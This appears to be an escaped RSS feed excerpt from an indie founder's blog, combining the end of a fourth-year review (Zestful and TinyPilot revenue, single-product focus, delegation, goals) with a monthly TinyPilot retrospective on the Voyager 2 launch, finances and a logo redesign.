&lt;p>Zestful is a paid service that parses recipe ingredients into structured data. For example, if you give it the string &lt;code>&amp;quot;2 1/2 tablespoons finely chopped parsley&amp;quot;&lt;/code>, it tells you that the quantity is &lt;code>2.5&lt;/code>, the product is &lt;code>parsley&lt;/code>, the preparation step is &lt;code>finely chopped&lt;/code>, etc.&lt;/p>
&lt;p>I created Zestful in 2019 and worked on it for a few months before writing it off as a failure. It attracted clients every few months for one-time bulk parses, but it never generated revenue consistently.&lt;/p>
&lt;p>2021 was a gratifying comeback year for Zestful. Starting midyear, its revenue became more regular. New clients started building on top of Zestful, and old clients increased their usage. It regularly earns a few hundred dollars per month and crossed $1k from pay-as-you-go users for the first time in December.&lt;/p>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>2020&lt;/th>
 &lt;th>2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Revenue&lt;/td>
 &lt;td>$1,889&lt;/td>
 &lt;td>$2,495&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Hosting / domain&lt;/td>
 &lt;td>-$112&lt;/td>
 &lt;td>-$113&lt;/td>
 &lt;td>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Net profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$1,777&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="green">$2,382&lt;/font>&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;span blog-purpose="delta">enable JS to see delta&lt;/span>
&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="lessons-learned">Lessons learned&lt;/h2>
&lt;h3 id="sell-just-one-thing">Sell just one thing&lt;/h3>
&lt;p>For most of the year, TinyPilot earned between $20k and $30k in monthly revenue. The months where sales jumped were because of positive reviews, mainly on YouTube.&lt;/p>
&lt;p>Starting in October, revenues doubled to $40-60k/month, but TinyPilot didn&amp;rsquo;t receive any new reviews in those months. In fact, I didn&amp;rsquo;t do any marketing at all.&lt;/p>
&lt;p>So, what doubled sales? I got rid of our product page.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/old-product-page.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/old-product-page_hu_93c4de30e24b2634.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/old-product-page_hu_8f42611918ab40c5.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/old-product-page_hu_67e9380e537b0575.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/old-product-page_hu_da702744bcc5db1a.png 1200w, https://mtlynch.io/bootstrapped-founder-year-4/old-product-page.png 1324w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/old-product-page.png" alt="Screenshot of old TinyPilot product page, listing Voyager and Hobbyist kit side-by-side" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot used to offer a variety of products.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Instead, I focused the website exclusively on our flagship product, the TinyPilot Voyager.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 550px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/no-catalog.png">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 550px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/no-catalog_hu_1f075623ceabf9e3.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/no-catalog_hu_b7f9b752cb27e36b.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/no-catalog_hu_54f4d60a1e153fd4.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/no-catalog_hu_27614056ae14fcff.png 1200w, https://mtlynch.io/bootstrapped-founder-year-4/no-catalog.png 1378w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/no-catalog.png" alt="Screenshot of TinyPilot website with product catalog removed" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>In October, I removed the product catalog page from TinyPilot and focused on my flagship product.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Sales jumped immediately. At first, I thought it might be a coincidence, but they&amp;rsquo;ve stayed in their new range for several months now.&lt;/p>













 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue_hu_f45348e2ce5efb0f.png 300w, https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue_hu_ed298e61da64eeb9.png 600w, https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue_hu_20f42bac799f3bda.png 800w, https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue.png 951w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/weekly-revenue.png" alt="Graph of TinyPilot weekly revenue, where an increase in revenue immediately follows consolidation to one product" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot’s weekly sales before and after simplifying the website to sell a single product&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I think the change eliminated friction and decision-making from the buying process. Customers didn&amp;rsquo;t always understand the difference between our products or whether they needed to buy accessories separately. Now that there&amp;rsquo;s only a single option, the purchase decision reduces to a straightforward question: do you want this product?&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I considered taking this strategy one step further and selling zero products. That would logically increase my revenue to infinity, but I didn&amp;rsquo;t want to be greedy.
&lt;/div>

&lt;h3 id="good-leadership-means-helping-teammates-grow">Good leadership means helping teammates grow&lt;/h3>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects_hu_96917f9bdfaed766.jpg 300w, https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects_hu_59192a09eeaee70a.jpg 600w, https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects_hu_fe042ecb47e2aaa1.jpg 800w, https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects_hu_fee5a98879267b11.jpg 1200w, https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects.jpg 2560w'
 src="https://mtlynch.io/bootstrapped-founder-year-4/jason-cohen-usual-saaspects.jpg" alt="Screenshot of Jason Cohen being interviewed on The Usual Saaspects podcast" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Jason Cohen (left) speaking to Ch Daniel (right) on &lt;a href="https://youtu.be/Sjs5gEUlZyU?t=3605">&lt;em>The Usual Saaspects&lt;/em> podcast&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>In a &lt;a href="https://youtu.be/Sjs5gEUlZyU?t=3605">recent interview&lt;/a>, &lt;a href="https://wpengine.com">WPEngine&lt;/a> founder Jason Cohen described leadership in a way that stuck with me:&lt;/p>
&lt;blockquote>
&lt;p>With leadership, yes, you&amp;rsquo;re trying to get the right answers, and goals, and decisions&amp;hellip; You&amp;rsquo;re also trying to build a team that&amp;rsquo;s smarter and better, that&amp;rsquo;s themselves making better decisions, themselves are coming up with better answers, themselves have better context&amp;hellip;&lt;/p>
&lt;p>If you&amp;rsquo;re the only one who can do that in the room, you&amp;rsquo;re a terrible leader. Because that means your team isn&amp;rsquo;t getting better.&lt;/p>
&lt;p>&lt;strong>The only way for the organization to succeed is if the team is getting better. And that&amp;rsquo;s your job: to build great teams.&lt;/strong>&lt;/p>&lt;/blockquote>
&lt;p>When I started TinyPilot, I thought good management meant protecting my employees from anything outside their job description. I worked hard to fill gaps between roles to ensure that my employees had consistent, focused work.&lt;/p>
&lt;p>Over time, I realized that my protectiveness limited growth. People enjoy learning and evolving in their careers. If I prevent employees from doing anything beyond their original job, it hinders their development.&lt;/p>
&lt;p>In October, Eric, a member of TinyPilot&amp;rsquo;s fulfillment staff, was interested in increasing his hours. We decided to share the customer support load I&amp;rsquo;d been carrying alone. I&amp;rsquo;d previously considered delegating support, but I worried it required technical knowledge that only I had.&lt;/p>
&lt;p>As soon as Eric began working on the support queue, I realized we should have done it earlier. I overestimated the difficulty of our customers&amp;rsquo; technical questions. Eric could solve most issues by referring to our help forum and email archives. When he couldn&amp;rsquo;t, he&amp;rsquo;d just escalate to me. Now, Eric handles about 70% of support emails without me.&lt;/p>
&lt;p>Eric was surprised at how much he enjoyed taking over customer service. Talking to our customers has made him feel more invested in the business and gives him more insight into how his work benefits them.&lt;/p>
&lt;p>And remember my big insight about &lt;a href="https://mtlynch.io/bootstrapped-founder-year-4/#sell-just-one-thing">consolidating TinyPilot to a single product&lt;/a>? That happened the same month that Eric started sharing customer support with me. It&amp;rsquo;s no coincidence. Ceding that task gave me back several hours per week of free time, allowing me to think critically about the way customers see TinyPilot.&lt;/p>
&lt;h2 id="grading-last-years-goals">Grading last year&amp;rsquo;s goals&lt;/h2>
&lt;p>At the start of last year, I &lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/#goals-for-year-four">set three high-level goals&lt;/a>.&lt;/p>
&lt;h3 id="grow-tinypilot-to-600k-in-annual-revenue">Grow TinyPilot to $600k in annual revenue&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Quadrupled TinyPilot&amp;rsquo;s monthly revenue, totaling $468k for the year&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>Okay, my $600k goal turned out to be a tad optimistic. I chose that target in January when revenue had grown 20-200% every month for the previous five months. After I announced that goal, TinyPilot&amp;rsquo;s sales shriveled by 50% over the next two months. We recovered but never recaptured the rapid growth of the early days.&lt;/p>
&lt;p>Still, $468k is nothing to sneeze at. Different decisions might have brought me to $600k, but nothing stands out as an egregious blunder.&lt;/p>
&lt;h3 id="publish-six-blog-posts-and-one-book">Publish six blog posts and one book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published three blog posts and zero books&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: D&lt;/li>
&lt;/ul>
&lt;p>Writing is one of the things I enjoy most, so I&amp;rsquo;m disappointed I had so little time for it.&lt;/p>
&lt;p>Looking back, I still feel like deprioritizing my writing was the right decision, but I fell short of the goal I set.&lt;/p>
&lt;h3 id="automate-tinypilot-management">Automate TinyPilot management&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Systematized enough of TinyPilot to take a one-week vacation&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;ve made great progress removing myself from the critical path of TinyPilot&amp;rsquo;s day-to-day operations.&lt;/p>
&lt;p>My goal was to be able to take a two-week vacation, but I&amp;rsquo;m not quite there yet. I took a one-week vacation over the holidays, where I didn&amp;rsquo;t check work email or monitor sales. That went well, though I did have to take a call from FedEx to prevent thousands of dollars of equipment from being sent back to China.&lt;/p>
&lt;h2 id="goals-for-year-four">Goals for year four&lt;/h2>
&lt;h3 id="grow-tinypilot-to-1m-in-annual-revenue">Grow TinyPilot to $1M in annual revenue&lt;/h3>
&lt;p>I&amp;rsquo;ve never invested in marketing as much as I should for TinyPilot. I&amp;rsquo;ve been fortunate that the business survives almost exclusively on word of mouth and organic search. The only marketing I&amp;rsquo;ve done is sending free units to YouTube creators. That&amp;rsquo;s been successful, but there are tons of marketing channels that I&amp;rsquo;ve never explored at all.&lt;/p>
&lt;p>I think the right marketing channels could double my current revenue. And if I double to $900k, why not make it a cool million?&lt;/p>
&lt;h3 id="manage-tinypilot-on-20-hours-per-week">Manage TinyPilot on 20 hours per week&lt;/h3>
&lt;p>The times when I enjoy TinyPilot most are when things are running smoothly enough that I have space to think about growth. The least pleasant times are when I have a thousand short-term tasks, and they&amp;rsquo;re too urgent or scattered to delegate.&lt;/p>
&lt;p>This year, I&amp;rsquo;d like to continue systematizing TinyPilot so that everything runs smoothly if I only spend 20 hours per week on management. That would also give me time to write and code, neither of which I do now.&lt;/p>
&lt;h3 id="ship-a-new-tinypilot-hardware-product">Ship a new TinyPilot hardware product&lt;/h3>
&lt;p>TinyPilot runs on top of the &lt;a href="https://www.raspberrypi.org">Raspberry Pi&lt;/a> single-board computer. The Pi has been fantastic in getting TinyPilot up and running, but we&amp;rsquo;re starting to feel its limitations as we grow.&lt;/p>
&lt;p>I plan to work with my electrical engineering vendor to develop a new TinyPilot product. It will eliminate the Raspberry Pi and instead use a custom board that we can optimize for our customers&amp;rsquo; needs.&lt;/p>
&lt;h2 id="do-i-still-love-it">Do I still love it?&lt;/h2>
&lt;p>When I do these &lt;a href="https://mtlynch.io/tags/annual-review/">annual writeups&lt;/a>, I always think about whether I still love being a bootstrapped founder. This is the first year where it&amp;rsquo;s difficult to say yes. I still like my job, but it&amp;rsquo;s not as fun and easy as when I was just building unsuccessful software products and blogging about it.&lt;/p>
&lt;p>I enjoy feeling like I run a real business. Before TinyPilot, my businesses typically earned less than $500/month. At that scale, I felt too limited by capital. You can&amp;rsquo;t hire for skilled roles or pay for expert guidance with $500. I frequently had to solve uninteresting problems simply because my revenue was too small to justify better solutions.&lt;/p>
&lt;p>With TinyPilot, there&amp;rsquo;s enough money coming in to hire teammates where it makes sense. After three years of coding by myself, I appreciate working with a talented dev team again. I pay $200/month for dev tooling and continuous integration because eliminating that gruntwork is obviously a net positive. In my previous businesses, those tools would consume most of my revenue.&lt;/p>
&lt;p>I&amp;rsquo;m pleased to have a company culture that matches what I always wanted to see from my employers. Everyone has flexible hours. There are no tight deadlines, so we don&amp;rsquo;t have to compromise on quality. Almost all of our work is asynchronous, so everyone has the space to do &lt;a href="https://mtlynch.io/book-reports/deep-work/">deep, focused work&lt;/a>.&lt;/p>
&lt;p>The hardest part for me about running a business with thousands of real customers is being responsible for failure. We&amp;rsquo;re a team, but the buck ultimately stops with me. When I ship a serious bug or fail to launch a new product by the date I predicted, I find it painful and personally embarrassing. It&amp;rsquo;s a completely different experience from being a developer at Microsoft or Google, where I shared responsibility with teammates who reviewed my work, and we were all eight layers removed from real customers.&lt;/p>
&lt;p>Overall, I&amp;rsquo;m still happy to be working for myself, and I hope to sustain it for the rest of my working life.&lt;/p>
&lt;h2>All annual reviews&lt;/h2>
&lt;ul>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/">My First Year as a Solo Developer&lt;/a>- Feb. 1, 2019
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-2/">My Second Year as a Solo Developer&lt;/a>- Jan. 31, 2020
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-3/">My Third Year as a Solo Developer&lt;/a>- Feb. 1, 2021
 &lt;/li>&lt;li>My Fourth Year as a Bootstrapped Founder- Feb. 1, 2022
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-5/">My Fifth Year as a Bootstrapped Founder&lt;/a>- Feb. 10, 2023
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-6/">My Sixth Year as a Bootstrapped Founder&lt;/a>- Feb. 16, 2024
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/">My Seventh Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2025
 &lt;/li>&lt;li>&lt;a href="https://mtlynch.io/bootstrapped-founder-year-8/">My Eighth Year as a Bootstrapped Founder&lt;/a>- Feb. 3, 2026
 &lt;/li>&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Cover image by Loraine Yow. Thanks to the &lt;a href="https://bloggingfordevs.com/">Blogging for Devs community&lt;/a> for providing early feedback for this post.&lt;/em>&lt;/p>
&lt;script src="https://mtlynch.io/third-party/chart.js/2.9.4/Chart.min.js">&lt;/script>
&lt;script src="script.js">&lt;/script></content:encoded></item><item><title>TinyPilot: Month 18</title><link>https://mtlynch.io/retrospectives/2022/01/</link><pubDate>Thu, 06 Jan 2022 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2022/01/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve launched a new TinyPilot product and debuted a new logo.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s revenue finished the year strong at $55k for December.&lt;/li>
&lt;li>I&amp;rsquo;ve learned to manage design projects more aggressively.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-the-voyager-2">Launch the Voyager 2&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Launched the Voyager 2&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>After many months of hard work, I finally launched the Voyager 2 last month.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I&amp;rsquo;ve launched a new TinyPilot product and debuted a new logo.&lt;/li>
&lt;li>TinyPilot&amp;rsquo;s revenue finished the year strong at $55k for December.&lt;/li>
&lt;li>I&amp;rsquo;ve learned to manage design projects more aggressively.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="launch-the-voyager-2">Launch the Voyager 2&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Launched the Voyager 2&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>After many months of hard work, I finally launched the Voyager 2 last month.&lt;/p>
&lt;h3 id="launch-tinypilots-rebrand">Launch TinyPilot&amp;rsquo;s rebrand&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Debuted TinyPilot&amp;rsquo;s new logo&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I haven&amp;rsquo;t quite finished the rebrand, but I&amp;rsquo;ve published TinyPilot&amp;rsquo;s new logo, which is 80% of what I want out of the rebrand.&lt;/p>
&lt;h3 id="build-up-enough-inventory-that-tinypilot-isnt-scrambling-to-meet-demand">Build up enough inventory that TinyPilot isn&amp;rsquo;t scrambling to meet demand&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: We&amp;rsquo;re no longer in emergency mode, but we&amp;rsquo;re still scrambling a bit.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B&lt;/li>
&lt;/ul>
&lt;p>I raised prices slightly on the Voyager 2, and that seems to have slowed down sales enough that we can catch up and build a small buffer of inventory.&lt;/p>
&lt;h2 id="tinypilot-stats">&lt;a href="https://tinypilotkvm.com/">TinyPilot&lt;/a> stats&lt;/h2>
&lt;div class="finances-chart">
 &lt;canvas id="tinypilot-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>November 2021&lt;/th>
 &lt;th>December 2021&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>7,983&lt;/td>
 &lt;td>6,156&lt;/td>
 &lt;td>&lt;font color="red">-1,827 (-23%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>14,596&lt;/td>
 &lt;td>12,840&lt;/td>
 &lt;td>&lt;font color="red">-1,756 (-12%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Sales Revenue&lt;/td>
 &lt;td>$56,626.33&lt;/td>
 &lt;td>$52,224.65&lt;/td>
 &lt;td>&lt;font color="red">-$4,401.68 (-8%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Enterprise Subscriptions&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>$47.75&lt;/td>
 &lt;td>0&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Royalties&lt;/td>
 &lt;td>$8,185.78&lt;/td>
 &lt;td>$1,100.47&lt;/td>
 &lt;td>&lt;font color="red">-$7,085.31 (-87%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Revenue&lt;/td>
 &lt;td>$64,859.86&lt;/td>
 &lt;td>$53,372.87&lt;/td>
 &lt;td>&lt;font color="red">-$11,486.99 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Profit&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$12,758.39&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$-15,207.05&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$27,965.44 (-219%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>Sales are down slightly from November, but December was still my second-highest revenue month of all time. I&amp;rsquo;m continuing to enjoy the revenue boost from &lt;a href="https://mtlynch.io/retrospectives/2021/12/#reducing-to-a-single-product-nearly-doubled-sales">selling just one product&lt;/a>.&lt;/p>
&lt;p>My cash profit is down because I&amp;rsquo;m investing heavily in inventory for 2022. With the chip shortage continuing, I want to secure as many electronic components as possible. Otherwise, I&amp;rsquo;ll constantly have to redesign TinyPilot&amp;rsquo;s circuit boards around unavailable parts.&lt;/p>
&lt;h2 id="releasing-the-voyager-2">Releasing the Voyager 2&lt;/h2>
&lt;p>I&amp;rsquo;ve been working on the Voyager 2 since March 2021. I originally expected it to take about six weeks, and it ended up taking six months. I finally launched it for sale in early December.&lt;/p>
&lt;p>The Voyager 2 brings a tidier form factor. The Voyager 1 had an external power connector that sat outside the main device and required three different cables. The Voyager 2 eliminates that component so that everything is in a single unit.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector_hu_8b62dca522af93a1.jpg 300w, https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector_hu_b716906c97934b09.jpg 600w, https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector_hu_94b335ad988cab5f.jpg 800w, https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector_hu_2e44ba86431bb5bc.jpg 1200w, https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2022/01/voyager-1-power-connector.jpg" alt="TinyPilot&amp;#39;s new logo" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 400px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/01/voyager2-angled.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 400px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/01/voyager2-angled_hu_32d017f3cc23d5a4.jpg 300w, https://mtlynch.io/retrospectives/2022/01/voyager2-angled_hu_55d4e87180de2c21.jpg 600w, https://mtlynch.io/retrospectives/2022/01/voyager2-angled_hu_7a92a669d20b4a8a.jpg 800w, https://mtlynch.io/retrospectives/2022/01/voyager2-angled_hu_12ea458fc028557a.jpg 1200w, https://mtlynch.io/retrospectives/2022/01/voyager2-angled.jpg 1200w'
 src="https://mtlynch.io/retrospectives/2022/01/voyager2-angled.jpg" alt="TinyPilot&amp;#39;s new logo" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The TinyPilot Voyager 1 (left) had an external component to expose the power and data ports. The TinyPilot Voyager 2 (right) eliminates the external component so that everything fits in a single unit.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Honestly, the launch felt a little anticlimactic. While it&amp;rsquo;s more convenient to eliminate the external power connector, I struggled to write &lt;a href="https://tinypilotkvm.com/blogs/news/introducing-voyager-2">the announcement&lt;/a> in a way that sounded exciting. It felt silly to say, &amp;ldquo;Brand new version! It&amp;rsquo;s exactly the same except without a separate box!&amp;rdquo;&lt;/p>
&lt;p>But it does simplify things. The Voyager 1 came with six distinct parts — the Voyager 2 requires only three. That improves the installation experience for the user and the fulfillment process for TinyPilot&amp;rsquo;s staff.&lt;/p>
&lt;p>I&amp;rsquo;m still excited for the power over Ethernet (PoE) version, which is due to launch this month. Even though it&amp;rsquo;s still just a difference of cables, eliminating the whole power plug makes a big difference in convenience. Plus, I just love PoE. Anytime I plug in a PoE device, and it turns on &lt;em>just from the network cable&lt;/em>, it feels magical.&lt;/p>
&lt;h2 id="tinypilots-new-logo-and-learning-to-work-with-designers">TinyPilot&amp;rsquo;s new logo and learning to work with designers&lt;/h2>
&lt;p>Back in July of 2020, I commissioned TinyPilot&amp;rsquo;s first logo. I found an illustrator on Upwork and paid her $600 to create the mascot and text.&lt;/p>













 








 
 
 

 
 
 






&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/01/old-tinypilot-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/01/old-tinypilot-logo_hu_23dae56ba415501e.png 300w, https://mtlynch.io/retrospectives/2022/01/old-tinypilot-logo_hu_d8fa236a7cc478e8.png 600w, https://mtlynch.io/retrospectives/2022/01/old-tinypilot-logo.png 700w'
 src="https://mtlynch.io/retrospectives/2022/01/old-tinypilot-logo.png" alt="TinyPilot&amp;#39;s new logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s original logo&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After a year, it felt like TinyPilot had outgrown the logo. Now that we were targeting business users in addition to hobbyists, the chipmunk mascot came across as too cutesy and not professional enough.&lt;/p>
&lt;p>In September, I &lt;a href="https://mtlynch.io/retrospectives/2021/10/#investing-more-into-design">hired a firm&lt;/a> to redesign TinyPilot&amp;rsquo;s website and create a new company logo. After lots of discussion, we finalized the logo in December:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/retrospectives/2022/01/tinypilot-logo.png">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2022/01/tinypilot-logo_hu_e4dad1558ead0920.png 300w, https://mtlynch.io/retrospectives/2022/01/tinypilot-logo_hu_9f8b0118e8086486.png 600w, https://mtlynch.io/retrospectives/2022/01/tinypilot-logo_hu_b3afdc271c82ed9b.png 800w, https://mtlynch.io/retrospectives/2022/01/tinypilot-logo_hu_3793d6d104c0b3b1.png 1200w, https://mtlynch.io/retrospectives/2022/01/tinypilot-logo.png 1600w'
 src="https://mtlynch.io/retrospectives/2022/01/tinypilot-logo.png" alt="TinyPilot&amp;#39;s new logo" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>TinyPilot&amp;rsquo;s new logo&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I like the logo a lot, and I&amp;rsquo;ve heard positive feedback about it.&lt;/p>
&lt;p>One important lesson I&amp;rsquo;m taking away from the experience is to be more vigilant about project structure.&lt;/p>
&lt;p>When I initially contracted the design firm, they estimated that the rebrand and new logo would take 2-4 weeks for a cost of $5-7k. The plan was to agree on a rebrand, which would basically be a new logo, new fonts, and a new color scheme. Once that was nailed down, we&amp;rsquo;d start the larger project of redesigning the website.&lt;/p>
&lt;p>But then the milestones got a little murky. The designers started by showing me new designs for the website. When I clarified that I just wanted to focus on the branding, they said they understood but that it&amp;rsquo;s easier to see the new brand alongside a &amp;ldquo;sketch&amp;rdquo; of a new website design.&lt;/p>
&lt;p>Okay, fine.&lt;/p>
&lt;p>Then, every check-in, the website designs would get more elaborate and detailed. We&amp;rsquo;d sometimes have check-ins where the only updates were around the website design, and there was virtually no change in the branding.&lt;/p>
&lt;p>Three months later, I&amp;rsquo;d spent $16k and had no finished work. I liked where the designs were going, but the lack of structure meant that we essentially had five separate subprojects that were all 70-90% complete. This blocked me from using any of the work, as I can&amp;rsquo;t publish a page if it still has placeholder graphics and has no design for mobile.&lt;/p>
&lt;p>I don&amp;rsquo;t think the designers were trying to manipulate me, but I realized I needed to be more aggressive about structuring the project.&lt;/p>
